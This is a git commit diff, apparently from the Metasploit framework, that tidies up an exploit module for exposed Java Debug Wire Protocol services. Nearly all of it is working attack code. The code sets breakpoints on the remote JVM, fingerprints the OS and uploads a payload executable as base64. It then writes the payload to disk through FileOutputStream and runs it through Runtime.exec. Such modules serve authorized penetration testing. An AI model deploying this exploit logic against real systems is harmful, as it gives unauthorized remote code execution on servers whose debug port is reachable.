Do some easy cleaning

bug/bundler_fix
jvazquez-r7 2014-06-04 13:18:59 -05:00
parent 1ff539fc73
commit 33a7bc64fa
1 changed files with 49 additions and 199 deletions

View File

@ -309,11 +309,7 @@ class Metasploit3 < Msf::Exploit::Remote
# Gets the sizes of variably-sized data types in the target VM # Gets the sizes of variably-sized data types in the target VM
def idsizes def get_sizes
sock.put(create_packet(IDSIZES_SIG))
response = read_reply(datastore['RESPONSE_TIMEOUT'])
formats = [ formats = [
["I", "fieldid_size"], ["I", "fieldid_size"],
["I", "methodid_size"], ["I", "methodid_size"],
@ -321,21 +317,15 @@ class Metasploit3 < Msf::Exploit::Remote
["I", "referencetypeid_size"], ["I", "referencetypeid_size"],
["I", "frameid_size"] ["I", "frameid_size"]
] ]
sock.put(create_packet(IDSIZES_SIG))
response = read_reply(datastore['RESPONSE_TIMEOUT'])
entries = parse_entries(response, formats, false) entries = parse_entries(response, formats, false)
entries.each { |e| @vars.merge!(e) } entries.each { |e| @vars.merge!(e) }
end end
# Gets the JDWP version implemented by the target VM # Gets the JDWP version implemented by the target VM
def get_version def get_version
sock.put(create_packet(VERSION_SIG))
response = read_reply(datastore['RESPONSE_TIMEOUT'])
formats = [ formats = [
["S", "descr"], ["S", "descr"],
["I", "jdwp_major"], ["I", "jdwp_major"],
@ -343,49 +333,40 @@ class Metasploit3 < Msf::Exploit::Remote
["S", "vm_version"], ["S", "vm_version"],
["S", "vm_name"] ["S", "vm_name"]
] ]
sock.put(create_packet(VERSION_SIG))
response = read_reply(datastore['RESPONSE_TIMEOUT'])
entries = parse_entries(response, formats, false) entries = parse_entries(response, formats, false)
entries.each { |e| @vars.merge!(e) } entries.each { |e| @vars.merge!(e) }
end end
def version def version
return "#{@vars["vm_name"]} - #{@vars["vm_version"]}" "#{@vars["vm_name"]} - #{@vars["vm_version"]}"
end end
# Returns reference types for all classes currently loaded by the target VM # Returns reference types for all classes currently loaded by the target VM
def get_all_classes def get_all_classes
return unless @classes.empty? return unless @classes.empty?
sock.put(create_packet(ALLCLASSES_SIG))
response = read_reply(datastore['RESPONSE_TIMEOUT'])
formats = [ formats = [
["C", "reftype_tag"], ["C", "reftype_tag"],
[@vars["referencetypeid_size"], "reftype_id"], [@vars["referencetypeid_size"], "reftype_id"],
["S", "signature"], ["S", "signature"],
["I", "status"] ["I", "status"]
] ]
sock.put(create_packet(ALLCLASSES_SIG))
print_status("#{peer} - Parsing list of classes...") response = read_reply(datastore['RESPONSE_TIMEOUT'])
@classes.append(parse_entries(response, formats)) @classes.append(parse_entries(response, formats))
end end
# Checks if specified class is currently loaded by the target VM and returns it # Checks if specified class is currently loaded by the target VM and returns it
def get_class_by_name(name) def get_class_by_name(name)
@classes.each do |entry_array| @classes.each do |entry_array|
entry_array.each do |entry| entry_array.each do |entry|
if entry["signature"].downcase == name.downcase
return entry if entry["signature"].downcase == name.downcase return entry
end
end end
end end
@ -395,14 +376,9 @@ class Metasploit3 < Msf::Exploit::Remote
# Returns information for each method in a reference type (ie. object). Inherited methods are not included. # Returns information for each method in a reference type (ie. object). Inherited methods are not included.
# The list of methods will include constructors (identified with the name "<init>") # The list of methods will include constructors (identified with the name "<init>")
def get_methods(reftype_id) def get_methods(reftype_id)
if @methods.has_key?(reftype_id)
unless @methods.has_key?(reftype_id) return @methods[reftype_id]
end
refid = format(@vars["referencetypeid_size"],reftype_id)
sock.put(create_packet(METHODS_SIG, refid))
response = read_reply(datastore['RESPONSE_TIMEOUT'])
formats = [ formats = [
[@vars["methodid_size"], "method_id"], [@vars["methodid_size"], "method_id"],
@ -410,17 +386,14 @@ class Metasploit3 < Msf::Exploit::Remote
["S", "signature"], ["S", "signature"],
["I", "mod_bits"] ["I", "mod_bits"]
] ]
ref_id = format(@vars["referencetypeid_size"],reftype_id)
sock.put(create_packet(METHODS_SIG, ref_id))
response = read_reply(datastore['RESPONSE_TIMEOUT'])
@methods[reftype_id] = parse_entries(response, formats) @methods[reftype_id] = parse_entries(response, formats)
end
return @methods[reftype_id]
end end
# Checks if specified method is currently loaded by the target VM and returns it # Checks if specified method is currently loaded by the target VM and returns it
def get_method_by_name(classname, name, signature = nil) def get_method_by_name(classname, name, signature = nil)
@methods[classname].each do |entry| @methods[classname].each do |entry|
if signature.nil? if signature.nil?
return entry if entry["name"].downcase == name.downcase return entry if entry["name"].downcase == name.downcase
@ -435,27 +408,20 @@ class Metasploit3 < Msf::Exploit::Remote
# Checks if specified class and method are currently loaded by the target VM and returns them # Checks if specified class and method are currently loaded by the target VM and returns them
def get_class_and_method(looked_class, looked_method, signature = nil) def get_class_and_method(looked_class, looked_method, signature = nil)
target_class = get_class_by_name(looked_class) target_class = get_class_by_name(looked_class)
fail_with(Failure::Unknown, "Class \"#{looked_class}\" not found") unless target_class fail_with(Failure::Unknown, "Class \"#{looked_class}\" not found") unless target_class
get_methods(target_class["reftype_id"]) get_methods(target_class["reftype_id"])
target_method = get_method_by_name(target_class["reftype_id"], looked_method, signature) target_method = get_method_by_name(target_class["reftype_id"], looked_method, signature)
fail_with(Failure::Unknown, "Method \"#{looked_method}\" not found") unless target_method fail_with(Failure::Unknown, "Method \"#{looked_method}\" not found") unless target_method
return target_class, target_method return target_class, target_method
end end
# Transform string contaning class and method(ie. from "java.net.ServerSocket.accept" to "Ljava/net/Serversocket;" and "accept") # Transform string contaning class and method(ie. from "java.net.ServerSocket.accept" to "Ljava/net/Serversocket;" and "accept")
def str2fqclass(s) def str2fqclass(s)
i = s.rindex(".") i = s.rindex(".")
fail_with(Failure::BadConfig, 'Bad defined break class') unless i fail_with(Failure::BadConfig, 'Bad defined break class') unless i
method = s[i+1..-1] # Subtr of s, from last '.' to the end of the string method = s[i+1..-1] # Subtr of s, from last '.' to the end of the string
@ -465,7 +431,6 @@ class Metasploit3 < Msf::Exploit::Remote
classname << ';' classname << ';'
return classname, method return classname, method
end end
@ -480,34 +445,25 @@ class Metasploit3 < Msf::Exploit::Remote
# Sets an event request. When the event described by this request occurs, an event is sent from the target VM # Sets an event request. When the event described by this request occurs, an event is sent from the target VM
def send_event(event_code, args) def send_event(event_code, args)
data = [event_code].pack('C') data = [event_code].pack('C')
data << [SUSPEND_ALL].pack('C') data << [SUSPEND_ALL].pack('C')
data << [args.length].pack('N') data << [args.length].pack('N')
args.each do |kind,option| args.each do |kind,option|
data << [kind].pack('C') data << [kind].pack('C')
data << option data << option
end end
sock.put(create_packet(EVENTSET_SIG, data)) sock.put(create_packet(EVENTSET_SIG, data))
response = read_reply(datastore['RESPONSE_TIMEOUT']) response = read_reply(datastore['RESPONSE_TIMEOUT'])
fail_with(Exploit::Failure::Unknown, "No network response") unless response fail_with(Exploit::Failure::Unknown, "No network response") unless response
return response.unpack('N')[0] return response.unpack('N')[0]
end end
# Waits user defined time for an event sent from the target VM (or force event if possible) # Waits user defined time for an event sent from the target VM (or force event if possible)
def wait_for_event def wait_for_event
force_net_event unless datastore['BREAKPOINT_PORT'].nil? || (datastore['BREAKPOINT_PORT'] == 0) force_net_event unless datastore['BREAKPOINT_PORT'].nil? || (datastore['BREAKPOINT_PORT'] == 0)
buf = read_reply(datastore['BREAK_TIMEOUT']) buf = read_reply(datastore['BREAK_TIMEOUT'])
return buf return buf
@ -516,12 +472,8 @@ class Metasploit3 < Msf::Exploit::Remote
# Force a network event for hitting breakpoint when object of debugging is a network app and break class is socket # Force a network event for hitting breakpoint when object of debugging is a network app and break class is socket
def force_net_event def force_net_event
print_status("#{peer} - Forcing network event over #{datastore['BREAKPOINT_PORT']}") print_status("#{peer} - Forcing network event over #{datastore['BREAKPOINT_PORT']}")
print_status("#{rhost}")
print_status("#{datastore['BREAKPOINT_PORT']}")
rex_socket = Rex::Socket::Tcp.create( rex_socket = Rex::Socket::Tcp.create(
'PeerHost' => rhost, 'PeerHost' => rhost,
'PeerPort' => datastore['BREAKPOINT_PORT'], 'PeerPort' => datastore['BREAKPOINT_PORT'],
@ -531,23 +483,19 @@ class Metasploit3 < Msf::Exploit::Remote
rex_socket.shutdown rex_socket.shutdown
rex_socket.close rex_socket.close
print_status("BYE force_net_event")
end end
# Parses a received event and compares it with the expected # Parses a received event and compares it with the expected
def parse_event_breakpoint(buf, event_id) def parse_event_breakpoint(buf, event_id)
r_id = buf[6..9].unpack('N')[0] r_id = buf[6..9].unpack('N')[0]
return nil unless event_id == r_id return nil unless event_id == r_id
len = @vars["objectid_size"] len = @vars["objectid_size"]
t_id = unformat(len,buf[10..10+len-1]) t_id = unformat(len,buf[10..10+len-1])
return r_id, t_id return r_id, t_id
end end
@ -555,9 +503,7 @@ class Metasploit3 < Msf::Exploit::Remote
def clear_event(event_code, r_id) def clear_event(event_code, r_id)
data = [event_code].pack('C') data = [event_code].pack('C')
data << [r_id].pack('N') data << [r_id].pack('N')
sock.put(create_packet(EVENTCLEAR_SIG, data)) sock.put(create_packet(EVENTCLEAR_SIG, data))
read_reply(datastore['RESPONSE_TIMEOUT']) read_reply(datastore['RESPONSE_TIMEOUT'])
end end
@ -565,78 +511,57 @@ class Metasploit3 < Msf::Exploit::Remote
# Invokes a static method. The method must be member of the class type or one of its superclasses, # Invokes a static method. The method must be member of the class type or one of its superclasses,
# superinterfaces, or implemented interfaces. Access control is not enforced; for example, private methods can be invoked. # superinterfaces, or implemented interfaces. Access control is not enforced; for example, private methods can be invoked.
def invoke_static(class_id, thread_id, meth_id, args = []) def invoke_static(class_id, thread_id, meth_id, args = [])
data = format(@vars["referencetypeid_size"], class_id) data = format(@vars["referencetypeid_size"], class_id)
data << format(@vars["objectid_size"], thread_id) data << format(@vars["objectid_size"], thread_id)
data << format(@vars["methodid_size"], meth_id) data << format(@vars["methodid_size"], meth_id)
data << [args.length].pack('N') data << [args.length].pack('N')
args.each do |arg| args.each do |arg|
data << arg data << arg
data << [0].pack('N') data << [0].pack('N')
end end
sock.put(create_packet(INVOKESTATICMETHOD_SIG, data)) sock.put(create_packet(INVOKESTATICMETHOD_SIG, data))
buf = read_reply(datastore['RESPONSE_TIMEOUT']) buf = read_reply(datastore['RESPONSE_TIMEOUT'])
buf
return buf
end end
# Invokes a instance method. The method must be member of the object's type or one of its superclasses, # Invokes a instance method. The method must be member of the object's type or one of its superclasses,
# superinterfaces, or implemented interfaces. Access control is not enforced; for example, private methods can be invoked. # superinterfaces, or implemented interfaces. Access control is not enforced; for example, private methods can be invoked.
def invoke(obj_id, thread_id, class_id, meth_id, args = []) def invoke(obj_id, thread_id, class_id, meth_id, args = [])
data = format(@vars["objectid_size"], obj_id) data = format(@vars["objectid_size"], obj_id)
data << format(@vars["objectid_size"], thread_id) data << format(@vars["objectid_size"], thread_id)
data << format(@vars["referencetypeid_size"], class_id) data << format(@vars["referencetypeid_size"], class_id)
data << format(@vars["methodid_size"], meth_id) data << format(@vars["methodid_size"], meth_id)
data << [args.length].pack('N') data << [args.length].pack('N')
args.each do |arg| args.each do |arg|
data << arg data << arg
data << [0].pack('N') data << [0].pack('N')
end end
sock.put(create_packet(INVOKEMETHOD_SIG, data)) sock.put(create_packet(INVOKEMETHOD_SIG, data))
buf = read_reply(datastore['RESPONSE_TIMEOUT']) buf = read_reply(datastore['RESPONSE_TIMEOUT'])
buf
return buf
end end
# Creates a new object of specified class, invoking the specified constructor. The constructor method ID must be a member of the class type. # Creates a new object of specified class, invoking the specified constructor. The constructor method ID must be a member of the class type.
def create_instance(class_id, thread_id, meth_id, args = []) def create_instance(class_id, thread_id, meth_id, args = [])
data = format(@vars["referencetypeid_size"], class_id) data = format(@vars["referencetypeid_size"], class_id)
data << format(@vars["objectid_size"], thread_id) data << format(@vars["objectid_size"], thread_id)
data << format(@vars["methodid_size"], meth_id) data << format(@vars["methodid_size"], meth_id)
data << [args.length].pack('N') data << [args.length].pack('N')
args.each do |arg| args.each do |arg|
data << arg data << arg
data << [0].pack('N') data << [0].pack('N')
end end
sock.put(create_packet(CREATENEWINSTANCE_SIG, data)) sock.put(create_packet(CREATENEWINSTANCE_SIG, data))
buf = read_reply(datastore['RESPONSE_TIMEOUT']) buf = read_reply(datastore['RESPONSE_TIMEOUT'])
buf
return buf
end end
@ -651,7 +576,6 @@ class Metasploit3 < Msf::Exploit::Remote
# Configures payload according to targeted architecture # Configures payload according to targeted architecture
def setup_payload def setup_payload
# 1. Setting up generic values. # 1. Setting up generic values.
payload_exe = rand_text_alphanumeric(4 + rand(4)) payload_exe = rand_text_alphanumeric(4 + rand(4))
pl_exe = generate_payload_exe pl_exe = generate_payload_exe
@ -668,199 +592,137 @@ class Metasploit3 < Msf::Exploit::Remote
fail_with(Failure::NoTarget, 'Unsupported target platform') fail_with(Failure::NoTarget, 'Unsupported target platform')
end end
return payload_exe, pl_exe return payload_exe, pl_exe
end end
# Invokes java.lang.System.getProperty() for OS fingerprinting purposes # Invokes java.lang.System.getProperty() for OS fingerprinting purposes
def fingerprint_os(thread_id) def fingerprint_os(thread_id)
size = @vars["objectid_size"] size = @vars["objectid_size"]
# 1. Creates a string on target VM with the property to be getted # 1. Creates a string on target VM with the property to be getted
cmd_obj_ids = create_string("os.name") cmd_obj_ids = create_string("os.name")
fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") if cmd_obj_ids.length == 0 fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") if cmd_obj_ids.length == 0
cmd_obj_id = cmd_obj_ids[0]["obj_id"] cmd_obj_id = cmd_obj_ids[0]["obj_id"]
# 2. Gets property # 2. Gets property
data = [TAG_OBJECT].pack('C') data = [TAG_OBJECT].pack('C')
data << format(size, cmd_obj_id) data << format(size, cmd_obj_id)
data_array = [data] data_array = [data]
runtime_class , runtime_meth = get_class_and_method("Ljava/lang/System;", "getProperty") runtime_class , runtime_meth = get_class_and_method("Ljava/lang/System;", "getProperty")
buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array) buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array)
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected String") unless buf[0] == [TAG_STRING].pack('C') fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected String") unless buf[0] == [TAG_STRING].pack('C')
str = unformat(size, buf[1..1+size-1]) str = unformat(size, buf[1..1+size-1])
@os = solve_string(format(@vars["objectid_size"],str)) @os = solve_string(format(@vars["objectid_size"],str))
end end
# Creates a file on the server given a execution thread # Creates a file on the server given a execution thread
def create_file(thread_id, filename) def create_file(thread_id, filename)
cmd_obj_ids = create_string(filename) cmd_obj_ids = create_string(filename)
fail_with(Failure::Unknown, "Failed to allocate string for filename") if cmd_obj_ids.length == 0 fail_with(Failure::Unknown, "Failed to allocate string for filename") if cmd_obj_ids.length == 0
cmd_obj_id = cmd_obj_ids[0]["obj_id"] cmd_obj_id = cmd_obj_ids[0]["obj_id"]
size = @vars["objectid_size"] size = @vars["objectid_size"]
data = [TAG_OBJECT].pack('C') data = [TAG_OBJECT].pack('C')
data << format(size, cmd_obj_id) data << format(size, cmd_obj_id)
data_array = [data] data_array = [data]
runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "<init>", "(Ljava/lang/String;)V") runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "<init>", "(Ljava/lang/String;)V")
buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array) buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array)
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C') fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C')
file = unformat(size, buf[1..1+size-1]) file = unformat(size, buf[1..1+size-1])
fail_with(Failure::Unknown, "Failed to create file. Try to change the TMP_PATH") if file.nil? || (file == 0) fail_with(Failure::Unknown, "Failed to create file. Try to change the TMP_PATH") if file.nil? || (file == 0)
register_files_for_cleanup(filename) register_files_for_cleanup(filename)
return file file
end end
# Stores the payload on a new string created in target VM # Stores the payload on a new string created in target VM
def upload_payload(thread_id, pl_exe) def upload_payload(thread_id, pl_exe)
size = @vars["objectid_size"] size = @vars["objectid_size"]
runtime_class , runtime_meth = get_class_and_method("Lsun/misc/BASE64Decoder;", "<init>") runtime_class , runtime_meth = get_class_and_method("Lsun/misc/BASE64Decoder;", "<init>")
buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"]) buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C') fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C')
decoder = unformat(size, buf[1..1+size-1]) decoder = unformat(size, buf[1..1+size-1])
fail_with(Failure::Unknown, "Failed to create Base64 decoder object") if decoder.nil? || (decoder == 0) fail_with(Failure::Unknown, "Failed to create Base64 decoder object") if decoder.nil? || (decoder == 0)
cmd_obj_ids = create_string("#{Rex::Text.encode_base64(pl_exe)}") cmd_obj_ids = create_string("#{Rex::Text.encode_base64(pl_exe)}")
fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") if cmd_obj_ids.length == 0 fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") if cmd_obj_ids.length == 0
cmd_obj_id = cmd_obj_ids[0]["obj_id"] cmd_obj_id = cmd_obj_ids[0]["obj_id"]
data = [TAG_OBJECT].pack('C') data = [TAG_OBJECT].pack('C')
data << format(size, cmd_obj_id) data << format(size, cmd_obj_id)
data_array = [data] data_array = [data]
runtime_class , runtime_meth = get_class_and_method("Lsun/misc/CharacterDecoder;", "decodeBuffer", "(Ljava/lang/String;)[B") runtime_class , runtime_meth = get_class_and_method("Lsun/misc/CharacterDecoder;", "decodeBuffer", "(Ljava/lang/String;)[B")
buf = invoke(decoder, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array) buf = invoke(decoder, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array)
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected ByteArray") unless buf[0] == [TAG_ARRAY].pack('C') fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected ByteArray") unless buf[0] == [TAG_ARRAY].pack('C')
pl = unformat(size, buf[1..1+size-1]) pl = unformat(size, buf[1..1+size-1])
pl
return pl
end end
# Dumps the payload on a opened server file given a execution thread # Dumps the payload on a opened server file given a execution thread
def dump_payload(thread_id, file, pl) def dump_payload(thread_id, file, pl)
size = @vars["objectid_size"] size = @vars["objectid_size"]
data = [TAG_OBJECT].pack('C') data = [TAG_OBJECT].pack('C')
data << format(size, pl) data << format(size, pl)
data_array = [data] data_array = [data]
runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "write", "([B)V") runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "write", "([B)V")
buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array) buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array)
fail_with(Failure::Unknown, "Exception ocurred when writing to file") unless buf[0] == [TAG_VOID].pack('C') fail_with(Failure::Unknown, "Exception ocurred when writing to file") unless buf[0] == [TAG_VOID].pack('C')
end end
# Closes a file on the server given a execution thread # Closes a file on the server given a execution thread
def close_file(thread_id, file) def close_file(thread_id, file)
size = @vars["objectid_size"] size = @vars["objectid_size"]
runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "close") runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "close")
buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"]) buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"])
fail_with(Failure::Unknown, "Exception ocurred when closing file") unless buf[0] == [TAG_VOID].pack('C') fail_with(Failure::Unknown, "Exception ocurred when closing file") unless buf[0] == [TAG_VOID].pack('C')
end end
# Executes a system command on target VM making use of java.lang.Runtime.exec() # Executes a system command on target VM making use of java.lang.Runtime.exec()
def execute_command(thread_id, cmd) def execute_command(thread_id, cmd)
size = @vars["objectid_size"] size = @vars["objectid_size"]
# 1. Creates a string on target VM with the command to be executed # 1. Creates a string on target VM with the command to be executed
cmd_obj_ids = create_string(cmd) cmd_obj_ids = create_string(cmd)
fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") if cmd_obj_ids.length == 0 fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") if cmd_obj_ids.length == 0
cmd_obj_id = cmd_obj_ids[0]["obj_id"] cmd_obj_id = cmd_obj_ids[0]["obj_id"]
# 2. Gets Runtime context # 2. Gets Runtime context
runtime_class , runtime_meth = get_class_and_method("Ljava/lang/Runtime;", "getRuntime") runtime_class , runtime_meth = get_class_and_method("Ljava/lang/Runtime;", "getRuntime")
buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"]) buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C') fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C')
rt = unformat(size, buf[1..1+size-1]) rt = unformat(size, buf[1..1+size-1])
fail_with(Failure::Unknown, "Failed to invoke Runtime.getRuntime()") if rt.nil? || (rt == 0) fail_with(Failure::Unknown, "Failed to invoke Runtime.getRuntime()") if rt.nil? || (rt == 0)
# 3. Finds and executes "exec" method supplying the string with the command # 3. Finds and executes "exec" method supplying the string with the command
exec_meth = get_method_by_name(runtime_class["reftype_id"], "exec") exec_meth = get_method_by_name(runtime_class["reftype_id"], "exec")
fail_with(Failure::BadConfig, "Cannot find method Runtime.exec()") if exec_meth.nil? fail_with(Failure::BadConfig, "Cannot find method Runtime.exec()") if exec_meth.nil?
data = [TAG_OBJECT].pack('C') data = [TAG_OBJECT].pack('C')
data << format(size, cmd_obj_id) data << format(size, cmd_obj_id)
data_array = [data] data_array = [data]
buf = invoke(rt, thread_id, runtime_class["reftype_id"], exec_meth["method_id"], data_array) buf = invoke(rt, thread_id, runtime_class["reftype_id"], exec_meth["method_id"], data_array)
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C') fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C')
end end
# Sets a breakpoint on frequently called method (user-defined) # Sets a breakpoint on frequently called method (user-defined)
def set_breakpoint def set_breakpoint
vprint_status("#{peer} - Setting breakpoint on class: #{datastore['BREAKPOINT']}") vprint_status("#{peer} - Setting breakpoint on class: #{datastore['BREAKPOINT']}")
# 1. Gets reference of the method where breakpoint is going to be setted # 1. Gets reference of the method where breakpoint is going to be setted
classname, method = str2fqclass(datastore['BREAKPOINT']) classname, method = str2fqclass(datastore['BREAKPOINT'])
break_class = get_class_by_name(classname) break_class = get_class_by_name(classname)
fail_with(Failure::NotFound, "Could not access #{datastore['BREAKPOINT']}, probably is not used by the application") unless break_class fail_with(Failure::NotFound, "Could not access #{datastore['BREAKPOINT']}, probably is not used by the application") unless break_class
get_methods(break_class["reftype_id"]) get_methods(break_class["reftype_id"])
m = get_method_by_name(break_class["reftype_id"], method) m = get_method_by_name(break_class["reftype_id"], method)
fail_with(Failure::BadConfig, "Method of Break Class not found") unless m fail_with(Failure::BadConfig, "Method of Break Class not found") unless m
# 2. Sends event request for this method # 2. Sends event request for this method
@ -870,18 +732,15 @@ class Metasploit3 < Msf::Exploit::Remote
loc << [0,0].pack('NN') loc << [0,0].pack('NN')
data = [[MODKIND_LOCATIONONLY, loc]] data = [[MODKIND_LOCATIONONLY, loc]]
r_id = send_event(EVENT_BREAKPOINT, data) r_id = send_event(EVENT_BREAKPOINT, data)
fail_with(Failure::Unknown, "Could not set the breakpoint") unless r_id fail_with(Failure::Unknown, "Could not set the breakpoint") unless r_id
return r_id r_id
end end
# Uploads & executes the payload on the target VM # Uploads & executes the payload on the target VM
def exec_payload(thread_id) def exec_payload(thread_id)
# 0. Fingerprinting OS # 0. Fingerprinting OS
fingerprint_os(thread_id) fingerprint_os(thread_id)
@ -909,12 +768,10 @@ class Metasploit3 < Msf::Exploit::Remote
# 6. Executes the dumped payload # 6. Executes the dumped payload
cmd = "#{payload_exe}" cmd = "#{payload_exe}"
execute_command(thread_id, cmd) execute_command(thread_id, cmd)
end end
def exploit def exploit
@my_id = 0x01 @my_id = 0x01
@vars = {} @vars = {}
@classes = [] @classes = []
@ -927,50 +784,43 @@ class Metasploit3 < Msf::Exploit::Remote
fail_with(Failure::NotVulnerable, "#{peer} - JDWP Protocol not found") fail_with(Failure::NotVulnerable, "#{peer} - JDWP Protocol not found")
end end
# 1. Get the sizes of variably-sized data types in the target VM print_status("#{peer} - Retriving the sizes of variable sized data types in the target VM...")
idsizes get_sizes
# 2. Get the version of the target VM print_status("#{peer} - Getting the version of the target VM...")
get_version get_version
# 3. Get all currently loaded classes by the target VM print_status("#{peer} - Getting all currently loaded classes by the target VM...")
get_all_classes get_all_classes
# 4. Sets a breakpoint on frequently called method (user-defined) print_status("#{peer} - Setting a breakpoint on #{datastore['BREAKPOINT']}...")
r_id = set_breakpoint r_id = set_breakpoint
# 5. Resume VM and wait for event print_status("#{peer} - Resuming VM and waiting for an event...")
resume_vm resume_vm
secs = datastore['BREAK_TIMEOUT'] secs = datastore['BREAK_TIMEOUT']
ret = "" ret = ""
datastore['NUM_RETRIES'].times do |i| datastore['NUM_RETRIES'].times do |i|
print_status("#{peer} - Waiting for breakpoint hit #{i} during #{secs} seconds...") print_status("#{peer} - Waiting for breakpoint hit #{i} during #{secs} seconds...")
buf = wait_for_event buf = wait_for_event
ret = parse_event_breakpoint(buf, r_id) ret = parse_event_breakpoint(buf, r_id)
break unless ret.nil? break unless ret.nil?
end end
r_id, t_id = ret r_id, t_id = ret
vprint_status("#{peer} - Received matching event from thread #{t_id}") vprint_status("#{peer} - Received matching event from thread #{t_id}")
# 6. Clears event print_status("#{peer} - Deleting breakpoint...")
clear_event(EVENT_BREAKPOINT, r_id) clear_event(EVENT_BREAKPOINT, r_id)
# 7. Drop & execute payload print_status("#{peer} - Dropping and executing payload...")
exec_payload(t_id) exec_payload(t_id)
print_status("#{peer} - Resuming the target VM...")
resume_vm resume_vm
disconnect disconnect
end end
end end